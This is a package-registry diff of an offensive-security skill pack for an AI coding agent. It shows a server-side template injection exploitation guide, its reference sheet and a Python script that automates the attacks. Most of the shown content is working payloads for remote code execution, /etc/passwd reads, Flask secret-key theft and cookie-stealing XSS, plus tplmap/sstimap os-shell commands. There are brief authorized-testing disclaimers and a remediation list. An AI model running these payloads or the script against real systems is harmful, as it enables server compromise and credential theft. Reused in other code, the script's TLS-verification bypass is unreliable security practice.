open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,322 @@
1
+ ---
2
+ name: exploiting-template-injection-vulnerabilities
3
+ description: Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities
4
+ across Jinja2, Twig, Freemarker, and other template engines to achieve remote code
5
+ execution.
6
+ domain: cybersecurity
7
+ subdomain: web-application-security
8
+ tags:
9
+ - penetration-testing
10
+ - ssti
11
+ - template-injection
12
+ - rce
13
+ - web-security
14
+ - owasp
15
+ version: '1.0'
16
+ author: mahipal
17
+ license: Apache-2.0
18
+ nist_csf:
19
+ - PR.PS-01
20
+ - ID.RA-01
21
+ - PR.DS-10
22
+ - DE.CM-01
23
+ mitre_attack:
24
+ - T1190
25
+ - T1059.007
26
+ - T1505.003
27
+ - T1083
28
+ - T1055
29
+ ---
30
+
31
+ # Exploiting Template Injection Vulnerabilities
32
+
33
+ ## When to Use
34
+
35
+ - During authorized penetration tests when user input is rendered through a server-side template engine
36
+ - When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
37
+ - For assessing applications that allow users to customize templates or notification messages
38
+ - When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)
39
+ - During security assessments of CMS platforms, marketing tools, or any application with templating functionality
40
+
41
+ ## Prerequisites
42
+
43
+ - **Authorization**: Written penetration testing agreement with RCE testing scope
44
+ - **Burp Suite Professional**: For intercepting and modifying template parameters
45
+ - **tplmap**: Automated SSTI exploitation tool (`git clone https://github.com/epinna/tplmap.git`)
46
+ - **SSTImap**: Modern SSTI scanner (`pip install sstimap`)
47
+ - **curl**: For manual SSTI payload testing
48
+ - **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
49
+
50
+ ## Workflow
51
+
52
+ ### Step 1: Identify Template Injection Points
53
+
54
+ Find parameters where user input is processed by a template engine.
55
+
56
+ ```bash
57
+ # Inject mathematical expressions to detect template processing
58
+ # If the server evaluates the expression, SSTI may be present
59
+
60
+ # Universal detection payloads
61
+ PAYLOADS=(
62
+ '{{7*7}}' # Jinja2, Twig
63
+ '${7*7}' # Freemarker, Velocity, Spring EL
64
+ '#{7*7}' # Thymeleaf, Ruby ERB
65
+ '<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
66
+ '{7*7}' # Smarty
67
+ '{{= 7*7}}' # doT.js
68
+ '${{7*7}}' # AngularJS/Spring
69
+ '#set($x=7*7)$x' # Velocity
70
+ )
71
+
72
+ for payload in "${PAYLOADS[@]}"; do
73
+ encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
74
+ echo -n "$payload -> "
75
+ curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
76
+ done
77
+
78
+ # Check common injection locations:
79
+ # - Error pages with reflected input
80
+ # - Profile fields (name, bio, signature)
81
+ # - Email subject/body templates
82
+ # - PDF/report generation with custom fields
83
+ # - Search results pages
84
+ # - 404 pages reflecting the URL path
85
+ # - Notification templates
86
+ ```
87
+
88
+ ### Step 2: Identify the Template Engine
89
+
90
+ Determine which template engine is in use to select the appropriate exploitation technique.
91
+
92
+ ```bash
93
+ # Decision tree for engine identification:
94
+ # {{7*'7'}} => 7777777 = Jinja2 (Python)
95
+ # {{7*'7'}} => 49 = Twig (PHP)
96
+ # ${7*7} => 49 = Freemarker/Velocity (Java)
97
+ # #{7*7} => 49 = Thymeleaf (Java)
98
+ # <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
99
+
100
+ # Test Jinja2 vs Twig
101
+ curl -s "https://target.example.com/page?name={{7*'7'}}"
102
+ # 7777777 = Jinja2
103
+ # 49 = Twig
104
+
105
+ # Test for Jinja2 specifically
106
+ curl -s "https://target.example.com/page?name={{config}}"
107
+ # Returns Flask config = Jinja2/Flask
108
+
109
+ # Test for Freemarker
110
+ curl -s "https://target.example.com/page?name=\${.now}"
111
+ # Returns date/time = Freemarker
112
+
113
+ # Test for Velocity
114
+ curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
115
+ # Returns 1 = Velocity
116
+
117
+ # Test for Smarty
118
+ curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
119
+ # Returns test = Smarty
120
+
121
+ # Test for Pebble
122
+ curl -s "https://target.example.com/page?name={{%27test%27.class}}"
123
+ # Returns class info = Pebble
124
+
125
+ # Use tplmap for automated engine detection
126
+ python3 tplmap.py -u "https://target.example.com/page?name=test"
127
+ ```
128
+
129
+ ### Step 3: Exploit Jinja2 (Python/Flask)
130
+
131
+ Achieve code execution through Jinja2 template injection.
132
+
133
+ ```bash
134
+ # Read configuration
135
+ curl -s "https://target.example.com/page?name={{config.items()}}"
136
+
137
+ # Access secret key
138
+ curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
139
+
140
+ # RCE via Jinja2 - method 1: accessing os module through MRO
141
+ PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
142
+ curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
143
+
144
+ # RCE via Jinja2 - method 2: using cycler
145
+ PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
146
+ curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
147
+
148
+ # RCE via Jinja2 - method 3: using lipsum
149
+ PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
150
+ curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
151
+
152
+ # File read via Jinja2
153
+ PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
154
+ curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
155
+
156
+ # Enumerate available subclasses to find useful ones
157
+ PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
158
+ curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
159
+ ```
160
+
161
+ ### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines
162
+
163
+ Use engine-specific payloads for exploitation.
164
+
165
+ ```bash
166
+ # --- Twig (PHP) ---
167
+ # RCE via Twig
168
+ curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
169
+ curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
170
+
171
+ # Twig file read
172
+ curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
173
+
174
+ # --- Freemarker (Java) ---
175
+ # RCE via Freemarker
176
+ curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
177
+
178
+ # Alternative Freemarker RCE
179
+ curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
180
+
181
+ # --- Velocity (Java) ---
182
+ # RCE via Velocity
183
+ curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
184
+
185
+ # --- Smarty (PHP) ---
186
+ # RCE via Smarty
187
+ curl -s "https://target.example.com/page?name={system('id')}"
188
+
189
+ # --- ERB (Ruby) ---
190
+ # RCE via ERB
191
+ curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
192
+
193
+ # --- Pebble (Java) ---
194
+ # RCE via Pebble
195
+ curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
196
+ ```
197
+
198
+ ### Step 5: Automate with tplmap and SSTImap
199
+
200
+ Use automated tools for comprehensive testing and exploitation.
201
+
202
+ ```bash
203
+ # tplmap - Automated SSTI exploitation
204
+ python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
205
+
206
+ # tplmap with POST parameter
207
+ python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
208
+
209
+ # tplmap with custom headers
210
+ python3 tplmap.py -u "https://target.example.com/page?name=test" \
211
+ -H "Cookie: session=abc123" \
212
+ -H "Authorization: Bearer token" \
213
+ --os-cmd "whoami"
214
+
215
+ # SSTImap
216
+ sstimap -u "https://target.example.com/page?name=test"
217
+ sstimap -u "https://target.example.com/page?name=test" --os-shell
218
+
219
+ # tplmap file read
220
+ python3 tplmap.py -u "https://target.example.com/page?name=test" \
221
+ --download "/etc/passwd" "/tmp/passwd"
222
+
223
+ # Burp Intruder approach:
224
+ # 1. Send request to Intruder
225
+ # 2. Mark the injectable parameter
226
+ # 3. Load SSTI payload list
227
+ # 4. Grep for indicators: "49", error messages, class names
228
+ ```
229
+
230
+ ### Step 6: Test Client-Side Template Injection (CSTI)
231
+
232
+ Assess for Angular/Vue/React expression injection in client-side templates.
233
+
234
+ ```bash
235
+ # AngularJS expression injection
236
+ curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
237
+
238
+ # AngularJS sandbox bypass (pre-1.6)
239
+ curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
240
+
241
+ # Vue.js expression injection
242
+ curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
243
+
244
+ # Check for AngularJS ng-app on the page
245
+ curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
246
+
247
+ # Test with different CSTI payloads
248
+ for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
249
+ '{{$on.constructor("alert(1)")()}}'; do
250
+ encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
251
+ echo -n "$payload: "
252
+ curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
253
+ done
254
+ ```
255
+
256
+ ## Key Concepts
257
+
258
+ | Concept | Description |
259
+ |---------|-------------|
260
+ | **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |
261
+ | **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
262
+ | **Template Engine** | Software that processes template files with placeholders, replacing them with data |
263
+ | **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |
264
+ | **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |
265
+ | **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |
266
+ | **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |
267
+
268
+ ## Tools & Systems
269
+
270
+ | Tool | Purpose |
271
+ |------|---------|
272
+ | **tplmap** | Automated SSTI detection and exploitation with OS shell capability |
273
+ | **SSTImap** | Modern SSTI scanner with support for multiple template engines |
274
+ | **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |
275
+ | **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |
276
+ | **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |
277
+ | **OWASP ZAP** | Automated SSTI detection in active scanning mode |
278
+
279
+ ## Common Scenarios
280
+
281
+ ### Scenario 1: Flask Email Template Injection
282
+ A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.
283
+
284
+ ### Scenario 2: Java CMS Freemarker Injection
285
+ A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` to execute commands.
286
+
287
+ ### Scenario 3: Error Page SSTI
288
+ A custom 404 error page reflects the requested URL path through a Twig template. Requesting `/{{['id']|filter('system')}}` causes the server to execute the `id` command.
289
+
290
+ ### Scenario 4: AngularJS Client-Side Injection
291
+ A search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.
292
+
293
+ ## Output Format
294
+
295
+ ```
296
+ ## Template Injection Finding
297
+
298
+ **Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
299
+ **Severity**: Critical (CVSS 9.8)
300
+ **Location**: GET /page?name= (name parameter)
301
+ **Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
302
+ **OWASP Category**: A03:2021 - Injection
303
+
304
+ ### Reproduction Steps
305
+ 1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
306
+ 2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
307
+ 3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
308
+ 4. Server returns: uid=33(www-data) gid=33(www-data)
309
+
310
+ ### Confirmed Impact
311
+ - Remote code execution as www-data user
312
+ - Secret key disclosure: Flask SECRET_KEY exposed
313
+ - File system read: /etc/passwd, application source code
314
+ - Potential lateral movement to internal network
315
+
316
+ ### Recommendation
317
+ 1. Never pass user input directly to template render functions
318
+ 2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
319
+ 3. Implement strict input validation and allowlisting for template variables
320
+ 4. Use logic-less template engines (Mustache, Handlebars) where possible
321
+ 5. Apply least-privilege OS permissions for the web application user
322
+ ```
@@ -0,0 +1,55 @@
1
+ # API Reference: SSTI Detection Agent
2
+
3
+ ## Dependencies
4
+
5
+ | Library | Version | Purpose |
6
+ |---------|---------|---------|
7
+ | requests | >=2.28 | HTTP client for sending template injection payloads |
8
+
9
+ ## CLI Usage
10
+
11
+ ```bash
12
+ python scripts/agent.py --url "https://target.com/page" --param name --method GET --output ssti.json
13
+ ```
14
+
15
+ ## Functions
16
+
17
+ ### `test_ssti_detection(url, param, method, headers) -> list`
18
+ Tests 7 engine-specific payloads (`{{7*7}}`, `${7*7}`, etc.) and checks if `49` appears in the response.
19
+
20
+ ### `identify_engine(url, param, method, headers) -> dict`
21
+ Differentiates engines: `{{7*'7'}}` returning `7777777` = Jinja2, `49` = Twig. Also tests Freemarker (`${.now}`) and Velocity.
22
+
23
+ ### `test_jinja2_rce(url, param, method, headers) -> list`
24
+ Tests `cycler.__init__.__globals__.os.popen`, `lipsum.__globals__`, and `config.SECRET_KEY` disclosure.
25
+
26
+ ### `test_twig_rce(url, param, method, headers) -> list`
27
+ Tests `filter('system')` and `file_excerpt` payloads.
28
+
29
+ ### `test_freemarker_rce(url, param, method, headers) -> list`
30
+ Tests `freemarker.template.utility.Execute` for Java command execution.
31
+
32
+ ### `run_assessment(url, param, method) -> dict`
33
+ Runs detection, identifies engine, then tests engine-specific RCE payloads.
34
+
35
+ ## Detection Payloads
36
+
37
+ | Engine | Payload | Expected |
38
+ |--------|---------|----------|
39
+ | Jinja2/Twig | `{{7*7}}` | `49` |
40
+ | Freemarker | `${7*7}` | `49` |
41
+ | ERB/EJS | `<%= 7*7 %>` | `49` |
42
+ | Smarty | `{7*7}` | `49` |
43
+ | Velocity | `#set($x=7*7)$x` | `49` |
44
+
45
+ ## Output Schema
46
+
47
+ ```json
48
+ {
49
+ "target": "https://target.com/page",
50
+ "parameter": "name",
51
+ "vulnerable": true,
52
+ "engine": {"engine": "Jinja2", "language": "Python"},
53
+ "rce_tests": [{"name": "cycler_popen", "rce_confirmed": true}]
54
+ }
55
+ ```
@@ -0,0 +1,205 @@
1
+ #!/usr/bin/env python3
2
+ # For authorized testing in lab/CTF environments only
3
+ """Server-Side Template Injection (SSTI) detection agent using requests."""
4
+
5
+ import argparse
6
+ import json
7
+ import logging
8
+ import sys
9
+ import urllib.parse
10
+ from typing import List, Optional
11
+
12
+ try:
13
+ import requests
14
+ except ImportError:
15
+ sys.exit("requests is required: pip install requests")
16
+
17
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
18
+ logger = logging.getLogger(__name__)
19
+
20
+ DETECTION_PAYLOADS = {
21
+ "jinja2_twig": {"payload": "{{7*7}}", "expected": "49"},
22
+ "freemarker": {"payload": "${7*7}", "expected": "49"},
23
+ "thymeleaf": {"payload": "#{7*7}", "expected": "49"},
24
+ "erb_ejs": {"payload": "<%= 7*7 %>", "expected": "49"},
25
+ "smarty": {"payload": "{7*7}", "expected": "49"},
26
+ "velocity": {"payload": "#set($x=7*7)$x", "expected": "49"},
27
+ "dotjs": {"payload": "{{= 7*7}}", "expected": "49"},
28
+ }
29
+
30
+ ENGINE_FINGERPRINTS = {
31
+ "jinja2": {"payload": "{{7*'7'}}", "expected": "7777777"},
32
+ "twig": {"payload": "{{7*'7'}}", "expected": "49"},
33
+ "freemarker_confirm": {"payload": "${.now}", "match_pattern": r"\d{4}"},
34
+ "flask_config": {"payload": "{{config}}", "match_pattern": r"SECRET_KEY|DEBUG"},
35
+ }
36
+
37
+
38
+ def test_ssti_detection(url: str, param: str, method: str = "GET",
39
+ headers: Optional[dict] = None) -> List[dict]:
40
+ """Test all detection payloads against a parameter."""
41
+ results = []
42
+ for engine, test in DETECTION_PAYLOADS.items():
43
+ payload = test["payload"]
44
+ expected = test["expected"]
45
+ resp = _send_payload(url, param, payload, method, headers)
46
+ found = expected in resp.text
47
+ results.append({
48
+ "engine_hint": engine,
49
+ "payload": payload,
50
+ "expected": expected,
51
+ "found_in_response": found,
52
+ "status_code": resp.status_code,
53
+ })
54
+ if found:
55
+ logger.warning("SSTI detected with %s payload: %s", engine, payload)
56
+ return results
57
+
58
+
59
+ def identify_engine(url: str, param: str, method: str = "GET",
60
+ headers: Optional[dict] = None) -> dict:
61
+ """Identify the specific template engine in use."""
62
+ import re
63
+
64
+ resp_jinja = _send_payload(url, param, "{{7*'7'}}", method, headers)
65
+ if "7777777" in resp_jinja.text:
66
+ return {"engine": "Jinja2", "language": "Python", "framework": "Flask/Django"}
67
+ if "49" in resp_jinja.text:
68
+ return {"engine": "Twig", "language": "PHP", "framework": "Symfony/Laravel"}
69
+
70
+ resp_fm = _send_payload(url, param, "${.now}", method, headers)
71
+ if re.search(r"\d{4}", resp_fm.text):
72
+ return {"engine": "Freemarker", "language": "Java", "framework": "Spring"}
73
+
74
+ resp_config = _send_payload(url, param, "{{config}}", method, headers)
75
+ if "SECRET_KEY" in resp_config.text or "DEBUG" in resp_config.text:
76
+ return {"engine": "Jinja2", "language": "Python", "framework": "Flask"}
77
+
78
+ resp_velocity = _send_payload(url, param, "#set($x=42)$x", method, headers)
79
+ if "42" in resp_velocity.text:
80
+ return {"engine": "Velocity", "language": "Java", "framework": "Apache Velocity"}
81
+
82
+ return {"engine": "unknown"}
83
+
84
+
85
+ def test_jinja2_rce(url: str, param: str, method: str = "GET",
86
+ headers: Optional[dict] = None) -> List[dict]:
87
+ """Test Jinja2 RCE payloads."""
88
+ payloads = [
89
+ {"name": "cycler_popen", "payload": "{{cycler.__init__.__globals__.os.popen('id').read()}}"},
90
+ {"name": "lipsum_popen", "payload": '{{lipsum.__globals__["os"].popen("id").read()}}'},
91
+ {"name": "config_items", "payload": "{{config.items()}}"},
92
+ {"name": "secret_key", "payload": "{{config.SECRET_KEY}}"},
93
+ ]
94
+ results = []
95
+ for p in payloads:
96
+ resp = _send_payload(url, param, p["payload"], method, headers)
97
+ has_output = (
98
+ "uid=" in resp.text or "SECRET_KEY" in resp.text or
99
+ "root" in resp.text or len(resp.text) > 500
100
+ )
101
+ results.append({
102
+ "name": p["name"],
103
+ "payload": p["payload"],
104
+ "status_code": resp.status_code,
105
+ "rce_confirmed": "uid=" in resp.text,
106
+ "info_leak": "SECRET_KEY" in resp.text or "config" in resp.text.lower(),
107
+ "response_preview": resp.text[:200],
108
+ })
109
+ return results
110
+
111
+
112
+ def test_twig_rce(url: str, param: str, method: str = "GET",
113
+ headers: Optional[dict] = None) -> List[dict]:
114
+ """Test Twig (PHP) RCE payloads."""
115
+ payloads = [
116
+ {"name": "filter_system", "payload": "{{['id']|filter('system')}}"},
117
+ {"name": "file_excerpt", "payload": "{{'/etc/passwd'|file_excerpt(1,5)}}"},
118
+ ]
119
+ results = []
120
+ for p in payloads:
121
+ resp = _send_payload(url, param, p["payload"], method, headers)
122
+ results.append({
123
+ "name": p["name"],
124
+ "payload": p["payload"],
125
+ "status_code": resp.status_code,
126
+ "rce_confirmed": "uid=" in resp.text or "root:" in resp.text,
127
+ "response_preview": resp.text[:200],
128
+ })
129
+ return results
130
+
131
+
132
+ def test_freemarker_rce(url: str, param: str, method: str = "GET",
133
+ headers: Optional[dict] = None) -> List[dict]:
134
+ """Test Freemarker (Java) RCE payloads."""
135
+ payloads = [
136
+ {"name": "execute_class",
137
+ "payload": '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'},
138
+ ]
139
+ results = []
140
+ for p in payloads:
141
+ resp = _send_payload(url, param, p["payload"], method, headers)
142
+ results.append({
143
+ "name": p["name"],
144
+ "status_code": resp.status_code,
145
+ "rce_confirmed": "uid=" in resp.text,
146
+ "response_preview": resp.text[:200],
147
+ })
148
+ return results
149
+
150
+
151
+ def _send_payload(url: str, param: str, payload: str, method: str = "GET",
152
+ headers: Optional[dict] = None) -> requests.Response:
153
+ h = headers or {}
154
+ encoded = urllib.parse.quote(payload)
155
+ try:
156
+ if method.upper() == "GET":
157
+ sep = "&" if "?" in url else "?"
158
+ return requests.get(f"{url}{sep}{param}={encoded}", headers=h,
159
+ timeout=10, verify=False)
160
+ else:
161
+ return requests.post(url, data={param: payload}, headers=h,
162
+ timeout=10, verify=False)
163
+ except requests.RequestException:
164
+ return type("R", (), {"status_code": 0, "text": "", "content": b""})()
165
+
166
+
167
+ def run_assessment(url: str, param: str, method: str = "GET") -> dict:
168
+ """Run complete SSTI assessment."""
169
+ detection = test_ssti_detection(url, param, method)
170
+ vulnerable = any(d["found_in_response"] for d in detection)
171
+
172
+ result = {
173
+ "target": url, "parameter": param, "vulnerable": vulnerable,
174
+ "detection_results": detection,
175
+ }
176
+ if vulnerable:
177
+ engine = identify_engine(url, param, method)
178
+ result["engine"] = engine
179
+ if engine.get("engine") == "Jinja2":
180
+ result["rce_tests"] = test_jinja2_rce(url, param, method)
181
+ elif engine.get("engine") == "Twig":
182
+ result["rce_tests"] = test_twig_rce(url, param, method)
183
+ elif engine.get("engine") == "Freemarker":
184
+ result["rce_tests"] = test_freemarker_rce(url, param, method)
185
+
186
+ return result
187
+
188
+
189
+ def main():
190
+ parser = argparse.ArgumentParser(description="SSTI Detection Agent")
191
+ parser.add_argument("--url", required=True, help="Target URL")
192
+ parser.add_argument("--param", required=True, help="Parameter to test")
193
+ parser.add_argument("--method", default="GET", choices=["GET", "POST"])
194
+ parser.add_argument("--output", default="ssti_report.json")
195
+ args = parser.parse_args()
196
+
197
+ report = run_assessment(args.url, args.param, args.method)
198
+ with open(args.output, "w") as f:
199
+ json.dump(report, f, indent=2)
200
+ logger.info("Report saved to %s", args.output)
201
+ print(json.dumps(report, indent=2))
202
+
203
+
204
+ if __name__ == "__main__":
205
+ main()